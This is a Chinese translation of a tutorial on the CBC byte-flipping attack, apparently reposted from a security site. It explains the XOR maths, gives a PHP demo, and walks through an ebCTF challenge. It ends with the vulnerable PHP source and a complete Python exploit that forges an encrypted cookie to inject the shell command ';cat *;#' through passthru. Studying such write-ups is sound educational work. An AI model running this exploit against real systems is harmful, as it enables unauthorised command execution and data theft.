<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/7828

    0x00 譯者前言


    本文翻譯自:http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/

    drops里的相關主題文章:使用CBC比特反轉攻擊繞過加密的會話令牌

    緣起是糖果出的一道題,看到原文作者對這一問題闡述的較為詳細,雖然時間有些久遠,但翻譯一下可與諸君學習一下思考問題的方法。

    0x01 相關介紹


    此攻擊方法的精髓在于:通過損壞密文字節來改變明文字節。(注:借助CBC內部的模式)借由此可以繞過過濾器,或者改變用戶權限提升至管理員,又或者改變應用程序預期明文以盡猥瑣之事。

    首先讓我們看看CBC是如何工作的,(作者很懶所以)更多細節你可以看這里:wiki

    在這里只是解釋一下關于攻擊必須要理解的部分。(即:一圖勝千言)

    加密過程

    enter image description here

    Plaintext:待加密的數據。

    IV:用于隨機化加密的比特塊,保證即使對相同明文多次加密,也可以得到不同的密文。

    Key:被一些如AES的對稱加密算法使用。

    Ciphertext:加密后的數據。

    在這里重要的一點是,CBC工作于一個固定長度的比特組,將其稱之為。在本文中,我們將使用包含16字節的塊。

    因為作者討厭高數(和譯者一樣),所以作者造了一些自己的公式(方便記憶):

    注意:正如你所見,前一塊的密文用來產生后一塊的密文

    Decryption Process

    enter image description here

    注意:Ciphertext-N-1(密文-N-1)是用來產生下一塊明文;這就是字節翻轉攻擊開始發揮作用的地方。如果我們改變Ciphertext-N-1(密文-N-1)的一個字節,然后與下一個解密后的組塊異或,我們就可以得到一個不同的明文了!You got it?別擔心,下面我們將看到一個詳細的例子。與此同時,下面的這張圖也可以很好地說明這種攻擊:

    enter image description here

    0x02 一個例子(CBC Blocks of 16 bytes)


    比方說,我們有這樣的明文序列:

    a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

    我們的目標是將“s:6”當中的數字6轉換成數字“7”。我們需要做的第一件事就是把明文分成16個字節的塊:

    因此,我們的目標字符位于塊2,這意味著我們需要改變塊1的密文來改變第二塊的明文。

    有一條經驗法則是(注:結合上面的說明圖可以得到),你在密文中改變的字節,會影響到在下一明文當中,具有相同偏移量的字節。所以我們目標的偏移量是2:

    因此我們要改變在第一個密文塊當中,偏移量是2的字節。正如你在下面的代碼當中看到的,在第2行我們得到了整個數據的密文,然后在第3行中,我們改變塊1中偏移量為2的字節,最后我們再調用解密函數。

    1. $v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
    2. $enc = @encrypt($v);
    3. $enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
    4. $b = @decrypt($enc);

    運行這段代碼后,我們可以將數字6變為7:

    enter image description here

    但是我們在第3行中,是如何改變字節成為我們想要的值呢?

    基于上述的解密過程,我們知道有,A = Decrypt(Ciphertext)B = Ciphertext-N-1異或后最終得到C = 6。等價于:

    C = A XOR B
    

    所以,我們唯一不知道的值就是A(注:對于B,C來說)(block cipher decryption);借由XOR,我們可以很輕易地得到A的值:

    A = B XOR C
    

    最后,A XOR B XOR C等于0。有了這個公式,我們可以在XOR運算的末尾處設置我們自己的值,就像這樣:

    A XOR B XOR C XOR "7"會在塊2的明文當中,偏移量為2的字節處得到7。

    下面是相關原理實現的PHP源代碼:

    #!php
    define('MY_AES_KEY', "abcdef0123456789");
    function aes($data, $encrypt) {
        $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
        $iv = "1234567891234567";
        mcrypt_generic_init($aes, MY_AES_KEY, $iv);
        return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
    }
    
    define('MY_MAC_LEN', 40);
    
    function encrypt($data) {
        return aes($data, true);
    }
    
    function decrypt($data) {
        $data = rtrim(aes($data, false), "\0");
        return $data;
    }
    $v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
    echo "Plaintext before attack: $v\n";
    $b = array();
    $enc = array();
    $enc = @encrypt($v);
    $enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
    $b = @decrypt($enc);
    echo "Plaintext AFTER attack : $b\n";
    

    0x03 一個練習


    光說不練假把式,接下來作者舉了一個他參加過的CTF中的一道題目的例子(更多詳情可以參閱最后的相關參考鏈接),然后闡述了他是怎樣在最后幾步中打破CBC的。

    下面提供了這個練習當中很重要的一部分源碼:

    enter image description here

    其中,你在POST提交參數"name"的任何文本值之后,應用程序則會對應輸出"Hello"加上最后提交的文本。但是有兩件事情發生在消息打印之前:

    1. POST參數"name"值被PHP函數escapeshellarg()過濾(轉換單引號,防止惡意命令注入),然后將其存儲在Array->greeting當中,最后加密該值來產生cookie。
    2. Array->greeting當中的內容被PHP函數passthru()執行。
    3. 最后,在頁面被訪問的任何時間中,如果cookie已經存在,它會被解密,它的內容會通過passthru()函數執行。如前節所述,在這里CBC攻擊會給我們一個不同的明文。

    然后作者構造了一個POST"name"的值來注入字符串:

    name = 'X' + ';cat *;#a'
    

    首先作者添加了一個字符"X",通過CBC翻轉攻擊將其替換成一個單引號,然后;cat *;命令將被執行,最后的#是用來注釋,確保函數escapeshellarg()插入的單引號不會引起其他問題;因此我們的命令就被成功執行啦。

    在計算好之前的密碼塊中,要被改變的字節的確切偏移量(51)后,作者通過下面的代碼來注入單引號:

    pos = 51;
    val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
    exploit = cookie[0:pos] + val + cookie[pos + 1:]
    

    然后作者通過改變cookie(因為其具有全部的密文),得到以下結果:

    enter image description here

    首先,因為我們改變了第一塊,所以在第二塊中,黃色標記的"X"被成功替換為單引號,它被認為是多余插入(綠色),導致在unserialize()處理數據時產生一個錯誤(紅色),因此應用程序甚至都沒有去嘗試執行注入了。

    如何完善

    我們需要使我們的注入數據有效,那么我們在第一塊中得到的額外數據,就不能在反序列化的過程中造成任何問題(unserialize())。一種方法是在我們的惡意命令中填充字母字符。因此我們嘗試在注入字符串前后填充多個'z':

    name = 'z'*17 + 'X' + ';cat *;#' + 'z'*16
    

    在發送上述字符串后,unserialize()并沒有報錯,并且我們的shell命令成功執行!!!

    0x04 相關參考


    1. CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto
    2. http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/
    3. http://hardc0de.ru/2013/08/04/ebctf-web400/

    0x05 附錄代碼


    下面是上面練習當中的PHP源碼及exp:

    PHP code:

    #!php
    ini_set('display_errors',1);
    error_reporting(E_ALL);
    
    define('MY_AES_KEY', "abcdef0123456789");
    define('MY_HMAC_KEY',"1234567890123456" );
    #define("FLAG","CENSORED");
    
    function aes($data, $encrypt) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
    $iv = "1234567891234567";
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
    }
    
    define('MY_MAC_LEN', 40);
    
    function hmac($data) {
    return hash_hmac('sha1', data, MY_HMAC_KEY);
    }
    
    function encrypt($data) {
    return aes($data . hmac($data), true);
    }
    
    function decrypt($data) {
    $data = rtrim(aes($data, false), "\0");
    $mac = substr($data, -MY_MAC_LEN);
    $data = substr($data, 0, -MY_MAC_LEN);
    return hmac($data) === $mac ? $data : null;
    }
    $settings = array();
    if (@$_COOKIE['settings']) {
    echo @decrypt(base64_decode($_COOKIE['settings']));
    $settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
    }
    if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
    $settings = array(
    'name' => $_POST['name'],
    'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
    );
    setcookie('settings', base64_encode(@encrypt(serialize($settings))));
    #setcookie('settings', serialize($settings));
    }
    $d = array();
    if (@$settings['greeting']) {
    passthru($settings['greeting']);
    else {
    echo "</pre>
    <form action="\&quot;?\&quot;" method="\&quot;POST\&quot;">\n";
    echo "
    What is your name?
    
    \n";
    echo "<input type="\&quot;text\&quot;" name="\&quot;name\&quot;" />\n";
    echo "<input type="\&quot;submit\&quot;" name="\&quot;submit\&quot;" value="\&quot;Submit\&quot;" />\n";
    echo "</form>
    <pre>
    \n";
    }
    ?>
    

    Exploit:

    #!python
    #!/usr/bin/python
    import requests
    import sys
    import urllib
    from base64 import b64decode as dec
    from base64 import b64encode as enc
    
    url = 'http://192.168.184.133/ebctf/mine.php'
    
    def Test(x):
        t = "echo 'Hello %s!'" % x
        s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)
        for i in xrange(0,len(s),16):
            print s[i:i+16]
        print '\n'
    
    def Pwn(s):
        global url
        s = urllib.quote_plus(enc(s))
        req = requests.get(url, cookies = {'settings' : s}).content
     #   if req.find('works') != -1:
        print req
      #  else:
       #     print '[-] FAIL'
    
    def GetCookie(name):
        global url
        d = {
            'name':name,
            'submit':'Submit'
        }
        h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers
        if h.has_key('set-cookie'):
            h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
            #h = urllib.unquote_plus(h['set-cookie'][9:])
            #print h
            return h
        else:
            print '[-] ERROR'
            sys.exit(0)
    
    #a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
    #a:2:{s:4:"name";
    #s:10:"X;cat *;#a
    #";s:8:"greeting"
    #;s:24:"echo 'Hel
    #lo X;cat *;#a!'"
    #;}
    
    #a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
    #a:2:{s:4:"name";
    #s:42:"zzzzzzzzzz
    #zzzzzzzX;cat *;#
    #zzzzzzzzzzzzzzzz
    #";s:8:"greeting"   
    #;s:56:"echo 'Hel
    #lo zzzzzzzzzzzzz
    #zzzzX;cat *;#zzz
    #zzzzzzzzzzzzz!'"
    #;}
    #exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
    exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success
    
    #exploit = "______________________________________________________; cat *;#"
    #Test(exploit)
    cookie = GetCookie(exploit)
    pos = 100; #test case success
    #pos = 51; #test case first, unsuccess
    val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
    exploit = cookie[0:pos] + val + cookie[pos + 1:]
    Pwn(exploit)
    

    97av